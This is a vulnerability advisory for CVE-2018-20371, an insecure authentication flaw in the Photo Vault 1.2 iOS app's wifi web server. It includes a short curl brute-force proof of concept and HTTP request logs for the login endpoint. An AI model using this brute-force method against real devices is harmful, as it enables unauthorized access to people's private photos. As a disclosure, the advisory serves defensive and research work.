Document Title: =============== Photo Vault 1.2 iOS - Insecure Authentication Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2110 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-20371 CVE-ID: ======= CVE-2018-20371 Release Date: ============= 2018-01-16 Vulnerability Laboratory ID (VL-ID): ==================================== 2110 Common Vulnerability Scoring System: ==================================== 4.8 Vulnerability Class: ==================== Insecure Storage of Sensitive Information Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== https://itunes.apple.com/us/app/id1053383947 Abstract Advisory Information: ============================== The vulnerability labortory core research team discovered a insecure authentication issue in the official Vulnerability Disclosure Timeline: ================================== 2018-01-16: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== PhotoRange Product: Photo Vault - Mobile (Web-Application) 1.2 Exploitation Technique: ======================= Local Severity Level: =============== Medium Authentication Type: ==================== Open Authentication (Anonymous Privileges) User Interaction: ================= No User Interaction Disclosure Type: ================ Full Disclosure Technical Details & Description: ================================ An insecure authentication method issue has been discovered in the official iOS mobile web-application. The vulnerability is located in the login mechanism and password request communication. In case of the activated wifi server it is possible to remotly access the vault protected by a password. The password request is a simple less protected attempt to the login.html file with `_` to split between the password and file. There is no request limitation to block automated bruteforce attacks. Attackers can perform fast brute force password audits against the http basic authentication mechanism. Remote attackers can use an automated dictionary attack or compromise by manual basic http bruteforce attacks via curl, nmap or http-brute. Attackers can fast gain unauthorized access the private vault over the activated wifi web-application in the same network. A second minor problem is that there is no https protocol activated for the wifi http web-server communication in the network. Both issues together pose a significant risk to end users and the private stored information in the vault mobile ios application. The security risk of the insecure authentication method issue is estimated as medium with a cvss count of 4.8. Exploitation of the issue requires network access to connect to the web-server via wifi without user interaction. Successful exploitation of the vulnerability results in unauthorized access to private or sensitive data. Proof of Concept (PoC): ======================= The security issue can be exploited by remote attackers without privileged user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below. PoC: http_code=$(curl -L -data password="passwdords.txt" "$url http://Localhost:9900/login.html__" -w '%{http_code}' -o /root/fuzztime -s) --- PoC Session Logs [GET] --- GET http://localhost:9900/login.html Host: Localhost:9900 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://Localhost:9900/ Connection: keep-alive Upgrade-Insecure-Requests: 1 Date: Sat, 06 Jan 2018 15:06:20 GMT Accept-Ranges: bytes Transfer-Encoding: chunked Note: Requests first the login page - GET http://localhost:9900/login.html__passwd1 Host: Localhost:9900 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost:9900/login.html Connection: keep-alive Upgrade-Insecure-Requests: 1 Date: Sat, 06 Jan 2018 15:06:26 GMT Accept-Ranges: bytes Transfer-Encoding: chunked Note: Access to vault of ios mobile application was cracked in a forensic access test within 15 minutes. Reference(s): http://localhost:9900/ http://localhost:9900/login.html http://localhost:9900/login.html__ Security Risk: ============== The security risk of the vulnerability in the mobile vault application is eastimated as medium (CVSS 4.8). Credits & Authors: ================== Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. 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